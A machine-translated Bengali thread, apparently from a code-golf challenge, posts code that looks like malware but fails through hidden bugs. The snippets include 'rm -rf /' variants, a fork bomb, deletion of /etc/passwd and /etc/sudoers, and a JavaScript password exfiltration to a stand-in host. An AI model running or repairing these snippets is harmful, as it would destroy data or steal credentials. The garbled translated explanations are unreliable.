UglifyJS বলে WARN: Dropping side-effect-free statement [-:4,11]এবং ফিরে আসে function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");
nyuszika7h

22

জাভাস্ক্রিপ্ট

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

আপনি যে ন্যক্কারজনক ধ্বংসাত্মক ক্রিয়াটি ব্যবহার করতে চান তার জন্য বিনষ্ট সতর্কতাটিকে অদলবদল করুন।

ভক্ষক:

যদিও দেখে মনে হচ্ছে কনফিগারটি মোছার জন্য সেট করা আছে ... এবং এটি ! ফাংশনের অভ্যন্তরীণ 'বর্ণ' ঘোষণাটি "হোস্টেড" http: //www.adeफीlygood.com/JavaScript-Scoping-and-Hoisting.html এবং ফলস্বরূপ ফাংশনে প্রবেশের সময় আসলে মিথ্যা।


দুর্দান্ত কৌশল, তবে আপনি পতাকাটি পুনরায় সেট করবেন কেন?
মোহাম্মদ জোড়াইদ

"রিসেট" কেবলমাত্র একটি উদাহরণ ছিল ... এই নিয়োগটি বৈধ যেখানে এটি কোনও পরিবর্তনশীল হতে পারে ... কেবল 'var' এর সাথে উপসর্গ করা থাকলে / অনিচ্ছাকৃত পরিণতি ঘটাতে পারে।
স্ক্যানলিফ

16

জাভা

আসুন কিছু গুরুত্বপূর্ণ ফাইল মুছুন!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

ব্লকের মন্তব্যে লুকানো মন্তব্যটির বাইরে অতিরিক্ত is is। এটি ফাইল ডিলেটেশনকে একটি পৃথক উদাহরণের সূচনা ব্লকে রাখে, যা নির্মাণকারীর আগে কার্যকর করা হয়। সেই সময়ে, গুরুত্বপূর্ণ ফাইলটি এখনও শূন্য।


16
আমি এটি সন্ধান করতে পেরেছি :)
এরেল সেগাল-হালেভি

17
ট্রল মন্তব্যগুলি না পড়লে এটি খুব স্পষ্ট হবে।
ApproachingDarknessFish

6
আমি "ট্রল মন্তব্যগুলি পড়েন না" হিসাবে ব্যাখ্যা করতে বেছে নিয়েছি "ট্রল মন্তব্যগুলিকে বাদ দিলে একইভাবে মন্তব্যে লোকেরা এড়িয়ে যায়।" এই ক্ষেত্রে, ভুল করে এটি মিস করা সহজ হতে পারে যে এই দুটি চরিত্রটি আসলেই মন্তব্যের বাইরে।
জো কে

1
ব্যাখ্যাটি পড়ার আগে আমি একমাত্র এটিই সমাধান করেছি তবে ভাল কাজ!
nrubin29

15

বাশ, সি, লিনাক্স

হতে পারে এটি ঠিক কোনও ম্যালওয়ার নয়, তবে নিশ্চিত যে এটি একটির অংশ হতে পারে :)

এটি একটি আশ্চর্যজনক শোষণ যা আপনাকে কোনও লিনাক্স মেশিনে রুট দিতে পারে! ছহ, কাউকে বলো না যে এটি আমাদের আছে!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

এখন স্ক্রিপ্টটি কার্যকর করুন এবং আপনি রুট হয়ে যাবেন! আপনি ব্যবহার নিশ্চিত করতে পারেন whoami!

প্রকৃতপক্ষে এটি কেবলমাত্র আপনার ইউআইডি = 0 থাকা সমস্ত অ্যাপ্লিকেশনটিকে চালিত করে this (এটি মূল ব্যবহারকারী আইডি)।

কোডটি লেক্যাম্টুফ লিখেছেন, উত্স: http://lcamtuf.coredump.cx/soft/ld-expl


+1 টি। সত্যিই দুর্দান্ত কৌশল। এটি এখনও কীভাবে কাজ করে তা আমি এখনও পুরোপুরি বুঝতে পারি না।
এরেল সেগাল-হালেভি

@ErelSegalHalevi: দেখুন stackoverflow.com/questions/426230/what-is-the-ld-preload-trick LD_PRELOAD সম্পর্কে আরো বিস্তারিত জন্য।
mik01aj

2
পড়ুন fakeroot(1), যা একটি লাইব্রেরি যা বিভিন্ন POSIX সিস্টেম ফাংশনগুলিতে কল করে, কলারকে বিশ্বাস করে যে এটি (নকল) পড়েছে এবং (জাল) পুরো সিস্টেমে লেখার প্রবেশাধিকার রয়েছে t প্রকৃতপক্ষে, এটি আসলে এই অনুমতিগুলি দেয় না (করতে পারে না) তবে প্রোগ্রামটি, উদাহরণস্বরূপ chmodকোনও ফাইলটিতে "নকল" ফাংশনটি কল করে এবং অনুমতিগুলি পরিবর্তন করে, ফেকারআউট এই অনুমতিগুলি মনে রাখবে যাতে statকলগুলি আপডেট করা অনুমতিগুলি ফিরিয়ে দেয়। কিছু ডিস্ট্রোস প্যাকেজ বিল্ড সিস্টেমকে root:rootমালিকানা সহ ফাইলগুলি তৈরি করতে অনুমতি দেয় ।
sleblanc

1
এটি আমি বিশ্বাস করি: ল্যাকাটুফের আমি বিশ্বাস করি: lcamtuf.coredump.cx/soft/ld-expl - কমপক্ষে আমার মনে আছে এটি 90s এর
দশক

13

সজোরে আঘাত

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

"কাঁটাচামচ" লাইনে একটি সিনট্যাক্স ত্রুটি রয়েছে। {এর পরে , একটি জায়গা থাকা উচিত। তা ছাড়া, স্ক্রিপ্ট ব্যর্থ কারণ ফাংশন সংজ্ঞা দ্বারা অনুসরণ করা হয় না { নিজে টোকেন।


2
আপনাকে অবশ্যই সতর্কতার একটি নোট যোগ করতে হবে (সম্ভবত স্পোয়েলারের মধ্যে) যে kshকাঁটা বোমাটি সেখানে সিনট্যাক্স ত্রুটি নয় বলে এটি ব্যবহার করে কার্যকর করা হবে না !
ডেভনুল


@ ডেনিস: নিরবচ্ছিন্ন, আমি এটি দেখিনি। কিন্তু আকর্ষণীয় থ্রেড, সত্যি বলতে। আমি জানি কীভাবে ব্যাশে পার্সিং কাজ করে এবং আমি এটি ব্যবহার করি না :-)।
কনরাড বোরোস্কি

11

ইমাস লিস্প

প্রথম একটি সহজ। এই এক কিছুই না। এটি আসলে সমান উপাদানগুলি মুছে ফেলার চেষ্টা করছে: ফিরে আসা তালিকা থেকে পুনরাবৃত্ত directory-files। এটি কোনও ফাইল মুছে ফেলছে না।

(delete :recursive
    (directory-files "/"))

এখানে এমন একটি যা এমনকি এলিস্প vets স্টম্প করতে পারে।

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

এটি আপনার মূল ডির মোছা থেকে মাত্র 1 টি অক্ষর দূরে।

ইমাস লিসপ জাশুটকে যেকোনও কিছুর প্রতীক (ভেরিয়েবল, ফাংশন, ম্যাক্রো ইত্যাদি) এর নাম হতে দেবে। আপনার চিহ্নগুলির নামে ইউনিকোড ব্যবহার করা ঠিক আছে এবং এখানেই এটি ঘটছে।

setqযে কোনও সংখ্যক আরোগুলি নিতে পারে (setq a 3 b 4)এটি একটি = 3 করার মতো; খ = 4; তবে (setq a 3 b)এটি বৈধ এবং একটি = 3 করছে; খ = শূন্য;

`Setq 'এর রিটার্ন মান হ'ল সর্বশেষ ভেরিয়েবলের জন্য নির্ধারিত মান। উদাহরণস্বরূপ যথাক্রমে 4 এবং শূন্য।

(setq a 3 b)কোডে ঠিক যা ঘটছে তা হ'ল তবে খ এর পরিবর্তে আমি একটি ইউনিকোড হোয়াইটস্পেস অক্ষর ব্যবহার করছি। আমি একটি চলকটির নামের জন্য শূন্য মান নির্ধারণ করছি যার নাম ইউনিকোড অক্ষর 0x2001। এর কারণে নিল সেটাকে দিয়ে ফিরে আসে এবং কিছুক্ষণের জন্য শর্তটি কখনই সত্য হয় না। এই সাদা জায়গাটি ব্যবহার করুন এবং এটি ঠিক ঠিক চলবে।


10

আর এক পার্ল হ্যাকার।

আমি এটি ২০০২ সালে লিখেছিলাম , যখন পার্লমঙ্কসে ঝুলতে এবং সাধারণত পার্ল সম্পর্কে আমার জ্ঞান যতদূর সম্ভব চালানোর চেষ্টা করি push একেবারেই সম্পাদনা করেনি, তবে এটি এখনও চলছে।

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

যদি আমি সঠিকভাবে মনে রাখি, BEGINকোডটি যেখানেই থাকুক না কেন, ব্লকটি সবার আগে চলে। এটি পরিবর্তিত করে @INCযা পার্ল সাব্রোটিন দিয়ে এটির পাঠাগারগুলি কোথায় থেকে লোড করে (এটি সাধারণত পাথের একটি সেট, তবে এটি অনুমোদিত) determin সাব্রোটাইন আসলে অবলম্বন করা ডেটা ব্লক, যা কিছু রিজেক্সএফ + ইভাল যাদু করছে। তারপরে, যখন কোডটি হিট হয় require File::Path;(এটি এর সাথে কাজ করে না use) এই সাবটি কার্যকর করা হয় এবং কেবল "অন্য একটি পার্ল হ্যাকার" প্রিন্ট করে, যেমনটি traditionতিহ্য, এবং প্রস্থান হয়। বাকি কোডটি কখনই পৌঁছায় না।


1
বাহ, এই কোডটি কী করে তা বুঝতে আমার কিছুটা সময় লেগেছে (তবে আমি স্পোলারটি পড়িনি)। আমি রেজেক্স কলটির এই ব্লকটি ডিকোড করেছি ( কোডগল্ফ.স্ট্যাকেক্সেক্সঞ্জ . com/a/23871/3103 এ এটি একই পদ্ধতি ) ব্যবহার করেছি এবং আমি এটি পছন্দ করি যে এটি কীভাবে exitকমান্ড রয়েছে (এটির পরে অর্থহীন সেমিকোলন সহ, তবে এটি গুরুত্বপূর্ণ নয়) )।
কনরাড বোরোস্কি

হেই, এটি নিজেই খুঁজে বের করতে হয়েছিল, এটি 11-12 বছরের পুরানো। সেমিকোলন সম্ভবত সমস্ত কিছু ঝরঝরে করে রেখেছে।
স্টোফ

9

পিএইচপি:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

প্রথম নজরে, $condition মিথ্যা, তবে =অপারেটরের চেয়ে বেশি অগ্রাধিকার রয়েছে and, সুতরাং শর্তটি সত্য। সুতরাং মন্দ কখনও করা হয় না।


8

বুস্ট সহ সি ++

এটি ফাইল সিস্টেমের সমস্ত ফাইল মুছে ফেলবে

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

আসলে তা হবে না। deleteসি ++ এ newফাইল এবং ডিরেক্টরি মুছে ফেলার জন্য বরাদ্দ করা মেমরি মুক্ত করার জন্য ব্যবহৃত হয় । প্রোগ্রামটি সম্ভবত বিভাগের ত্রুটি সহ ক্রাশ হবে কারণ এটি বুস্টের দ্বারা বরাদ্দকৃত স্মৃতিটিকে ক্ষুণ্ন করার চেষ্টা করেছে, তবে সেই সময়ের মধ্যে আমি ট্রলের বন্দিদশা থেকে মুক্তি পেয়ে চলে যাব।


+1 টি। এটি স্পষ্ট করা সহজ নয় যেহেতু এটি কোনও ত্রুটি সহ সংকলনও করে।
এরেল সেগাল-হালেভি

2
প্রথম সমস্যা লাইন অপরিবর্তিত আচরণ নয়? এই ক্ষেত্রে এটি সম্ভবত তার সমস্ত ফাইল মুছে ফেলতে পারে।
aschepler

1
@ এসচেপলার: "ইউবি আপনার সমস্ত ফাইল মুছে ফেলতে পারে" একটি মজাদার ব্যাখ্যা দেয় যে আপনি ইউবিকে ডাকার সময় কী হবে তা আপনি ভবিষ্যদ্বাণী করতে পারবেন না, তবে এটি সাধারণত কোনও সম্ভাবনা নয়। ট্রলটির যদি এমন একটি সংকলক থাকে যা ইউবিতে থাকা হার্ড ড্রাইভগুলি মুছে ফেলে, তবে তিনি তাকে আমাদের কোনও ম্যালওয়্যার লিখতে দিতেন না
3Doubloons

2
সিনট্যাক্স হাইলাইট করা এখানে ট্রলকে একটি ইঙ্গিত দেয় ...
mik01aj

8

জাভা

এটি র‌্যাম ডাউনলোড করার ভান করবে তবে এটি ব্যবহারকারীর হোম ডিরেক্টরি মুছে ফেলবে।

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

TimerTimerTaskআপনি এতে জমা দেওয়া আপনারকে কল করতে একটি ব্যাকগ্রাউন্ড থ্রেড ব্যবহার করে। ডেমন থ্রেড হিসাবে ব্যাকগ্রাউন্ড থ্রেড সেট new Timer(true)করে একটি তৈরি করে Timer, সুতরাং প্রোগ্রামগুলি চালানোর আগেই প্রোগ্রামটি ঠিক তখনই চলে যায়। অত্যধিক দীর্ঘ কোড trueপ্যারামিটারটি দেখে ট্রলকে বিযুক্ত করে ।


7
rm -rf ⁄

চরিত্রটি নিয়মিত স্ল্যাশ চরিত্র নয় (/, অর্থাৎ ইউনিকোডে SOLIDUS) নয় বরং এর পরিবর্তে ফ্র্যাকশন স্ল্যাশ। "Rm: ⁄: এই জাতীয় কোনও ফাইল বা ডিরেক্টরি নেই" এর মতো একটি বার্তা মুদ্রণ করবে


10
ওহ সত্যই আমাকে চেষ্টা করতে দিন ....
মাইকেল জে। ক্যালকিনস

1
@ মিশেলক্যালকিনস: আপনি একটি বেসরকারী ব্যবহারকারী হিসাবে চেষ্টা করতে পারেন এবং "খুঁজে পাওয়া যায়নি" বার্তাটি দেখুন ... আশা করি।
অলিভিয়ার ডুলাক

7

সজোরে আঘাত

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

এটি সম্ভবত এটি হিসাবে খারাপ হিসাবে। এটি এমন একটি ফাংশন সংজ্ঞায়িত করে যা এটি চাইবে rm -rf /okes এটি কেবল একাধিক উপলক্ষে মন্দeval ব্যবহার করে।

এটা অনেক ক্ষতি করতে হবে, অবশ্যই!

আপনি যদি ভাবছেন, প্রথমটি এর evalদ্বারা ফাংশনটি আনসেট করে: unset -f cleanup দ্বিতীয়টি evalএটির সংজ্ঞা দেয়: cleanup() { echo Troll detected; } সুতরাং কোডটি চালানোর পরে আপনি দেখতে পাবেন Troll detected


9
ভাল! তবে, আমি বলব যে "বেস 64" রেখাগুলি প্রকৃত মুছে ফেলার জন্য দৃশ্যত কোনও ব্যবহারযোগ্য নয়, এটিকে কিছুটা স্পষ্ট করে তোলে।
এরেল সেগাল-হালেভি

1
আপনি যদি বিশ্বাস করতে পরিচালিত হন যে evalকোনওরকম সুস্পষ্ট কোডের চেয়ে আরও খারাপ কিছু করছে। বর্তমান কোডটি আমাকে জিজ্ঞাসা করতে পরিচালিত করেছে: যদি স্পষ্টত স্টাফগুলি সবকিছু মুছে ফেলা হয় তবে 'দুষ্ট' কোডটি কেন লুকিয়ে রাখবেন?
টিম এস

2
আমি মনে করি না যে এটি প্রয়োজনীয়তাগুলি সম্পূর্ণরূপে অত্যন্ত দূষিত হওয়ার কারণে: এটি যদি base64চালিত সিস্টেমে (একটি মানক কমান্ড না থাকে) উপস্থিত থাকে তবে ইওলগুলি কিছুই করেনি এবং রানও করে না rm -rf /! এটি base64উপস্থিত থাকলেও ঘটতে পারে তবে কোনও কারণে ব্যর্থ হয় (যেমন ulimit)।
আর ..

1
@ আর .: এছাড়াও, rm -rf /বেশিরভাগ rmবাস্তবায়নে কাজ করবে না । এটি একটি সুরক্ষা বৈশিষ্ট্য - আপনি বেশিরভাগ বাস্তবায়নে রুট ডিরেক্টরিটি সরাতে পারবেন না rm
কনরাড বোরোস্কি

1
আমি যতদূর সচেতন এটি ব্যস্তবক্স সংস্করণে কাজ করে। :-)
আর ..

6

BASH

অবশ্যই আমরা মেশিনের জন্য অ্যাডমিনস্ট্রেটর অধিকার প্রয়োজন, তাই আমরা ভাল পুরানো ব্যবহার করুন "আমি রুট আছে?" - পরীক্ষক, ওরফে CH (Eck) রুট - কিন্তু ভাল একটি ডিরেক্টরি সেখানে অনেক উত্থাপিত এলার্ম সেখানে হবে না এমনটি করি। / tmp নিখুঁত হবে, কারণ প্রত্যেকে সেখানে ফাইল লিখতে পারে।

এর পরে আমরা কেবল পুরো হার্ড ড্রাইভের অশুভ হাসি মুছুন

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
একটি জার্মান হিসাবে আমি বলতে পারি: একটি জার্মান ছেলে হিসাবে খারাপ হাসি না ...
ফিলিপ স্যান্ডার

Wer , একটি জার্মান ছেলে না হলে, ze আইফিল হাসি ঠিক করতে পারেন, জেন?
আলেকজান্ডার কোসুবেেক

5
আমাকে স্বীকার করতে হবে যে কোডটি আমাকে বেশ কয়েকটি পাঠ করেছে এবং তারপরে কেউ কেউ কেন এটি দূষিত বলে মনে করতে পারে তা নিয়ে কাজ করার জন্য আপনার মন্তব্যগুলি পুনরায় পড়া। আমি মনে করি না যে আপনি যদি নিজের মন্তব্যে কাউকে রাজি করার চেষ্টা না করেন যে ক্রুট এটি ব্যতীত অন্য কিছু করে এবং প্রশ্নটি বলে যে ট্রল মন্তব্যগুলি পড়ে না ...
ক্রিস

1
ঘটনাক্রমে, chroot"চেক রুট" নয়, এটি "রুট পরিবর্তন করুন" - এটি ব্যবহারকারীর ধারণাকে পরিবর্তন করে /। মজার বিষয় হল, এই ট্রলটি রুট এবং নন-রুট ব্যবহারকারীদের জন্য কিছু করতে ব্যর্থ হয়; মূল ব্যবহারকারীগণ একটি নতুন মূল পাবেন (এবং / tmp / chroot_dir এর নতুন নির্মিত রুটে কিছুই নেই বলে / বিন / ব্যাশ আদেশ নেই), এবং নন-রুট ব্যবহারকারীরা ক্রুট করতে ব্যর্থ হন।
মাহ

এটি এর সূত্রের মতো - আমি জানি যে এটি "পরিবর্তন মূল" নয় তবে আমার ক্যাপচারার (সঠিক শব্দ?) জানেন না - সুতরাং তিনি খারাপভাবে ব্যর্থ হন
জার্মানি_গুই 12:14

6

আইফোন - ফ্লপি বার্ড ক্লোন

যখন ব্যবহারকারী একটি আইফোন ফ্ল্যাপি বার্ড ক্লোন খেলছেন, দস্তাবেজ ডিরেক্টরিতে সমস্ত ফাইল মুছে ফেলা হয়েছে।

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

আইওএসের প্রতিটি অ্যাপ্লিকেশন স্যান্ডবক্সযুক্ত, সুতরাং এটি যখন ডকুমেন্টস ডিরেক্টরিতে সমস্ত কিছু মুছে ফেলা হয়, কেবলমাত্র এই বিশেষ অ্যাপ্লিকেশনটির জন্য এটি কেবলমাত্র ডকুমেন্টস ডিরেক্টরি। ট্রল স্পষ্টতই এটি সম্পর্কে অবগত নয়, যেহেতু তিনি ইতিমধ্যে অন্যান্য প্ল্যাটফর্মের জন্য এতগুলি প্রোগ্রামে প্লাবিত হয়ে পড়েছেন। এবং যত তাড়াতাড়ি তিনি বুঝতে পারেন যে তিনিও একটি ফ্লাপি পাখির ক্লোন তৈরি করতে পারেন, তিনি এতটাই উত্তেজিত হয়ে উঠতে পারেন যে তিনি বাকী কোডটি সম্পর্কে ভাবতেও বিরক্ত করেন না, যেহেতু তিনি ব্যতিরেকে বিজ্ঞাপনে প্রতিদিন $ 50,000 উপার্জনের স্বপ্ন দেখেন না কোন কাজ করছেন।


5

প্রবেশপথ:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

এটি একটি খুব কৌশলযুক্ত। গো-তে পুরো প্রোগ্রামটি বের হয় যখন মূল গোরোটিন প্রস্থান করে। এটি ঠিক করার একটি ভাল উপায় হ'ল ওয়েটগ্রুপের সাথে। আমার "ফিক্স" নিয়ে দুটি বিশাল সমস্যা রয়েছে:

  1. Waitgroup পর্যন্ত Goroutine শুরু, যার মানে প্রধান Goroutine আঘাত করবে এ যোগ করা হয় Waitমুছে ফেলার Goroutine হিট আগে Add। যেহেতু কাউন্টারটি 0 হবে, এটির অপেক্ষা করার মতো কিছুই নেই এবং তাই এটি ব্লক করে না এবং কেবল প্রস্থান করা শেষ করে না, সুতরাং প্রোগ্রামটি শেষ করে।
  2. এমনকি যদি, কোনওভাবে, যাদুতে, মুছে ফেলা সমস্ত গোরোটিন সংযোজন প্রথমে সম্পন্ন হয়। এটি ওয়েটগ্রুপের একটি অনুলিপি পেয়েছে, এটির কোনও পয়েন্টার নয়। এটি একই ওয়েটগ্রুপে যুক্ত হবে না যাতে মূল গোরোটাইন এটি কখনই দেখতে পাবে না।

Fmt.Scanln () ইনপুটটি প্রত্যাশা করা কেবল যে কোনও কিছু হওয়ার আগেই মূল গোরোটিন থেকে বেরিয়ে আসার বিষয়টি নিশ্চিত করা। প্রিন্টলন সম্ভবত এটি আইও ব্লকের কারণ হয়ে উঠবে এবং মূল গোরটাইন চালিয়ে যাবে (এইভাবে প্রস্থান করা হবে) এবং স্ক্যানলন প্রায় অবশ্যই তা করবে certainly বাস্তবে, গো এর কোনও সংস্করণই নয়।

সুপার থিওরির জমিতে এই দুর্দান্ত কাজ করে এবং কিছু মুছুন, যার অর্থ গো মেমরির মডেল অনুসারে শেষ হওয়ার mainএবং সম্পাদনের বিষয়ে কোনও "পূর্ববর্তী" সম্পর্কের নিশ্চয়তা নেই RemoveAll, তবে প্রমাণিত হিসাবে এটি কোনও আধুনিক গো রানটাইম / সংকলকটিতে নেই সমস্ত নবজাতক যারা তাদের মূল কাজগুলিতে সিঙ্ক্রোনাইজেশন না রাখার ভুল করেন by


4

জাভাস্ক্রিপ্ট

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1।

এটি চলবে না, আপনি কোনও বন্ধন তৈরি করতে পারবেন না এটি প্যারেন্সের সাথে সুরক্ষিত না করে সমস্ত কল করুন

2।

ট্রল যদি এটি ঠিক করতে পরিচালিত হয় তবে ডিবাগ করার জন্য একটি সুন্দর টাইপ রয়েছে ... ;-)


1
কী ভাষা? এবং সম্ভবত
টাইপটিকে

@ মাস্টারএক্স 244 জাভাস্ক্রিপ্ট, আমি এটি সম্পাদনা করব। টাইপ ইঙ্গিত: রেফারেন্স এরির
হুয়ান গার্সিয়া


হ্যাঁ, আমি টাইপো অনেক করি। বিশেষত যদি শব্দটির দৈর্ঘ্য বেশ দীর্ঘ হয়: পি
মোহাম্মদ জোরেদ

1
@ m01 +1 আমি মনে করি এটি একটি সংরক্ষিত শব্দ হওয়া উচিত যা একটি ব্যতিক্রম বা সময়ের ত্রুটি সংকলন করে!
জুয়ান গার্সিয়া
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.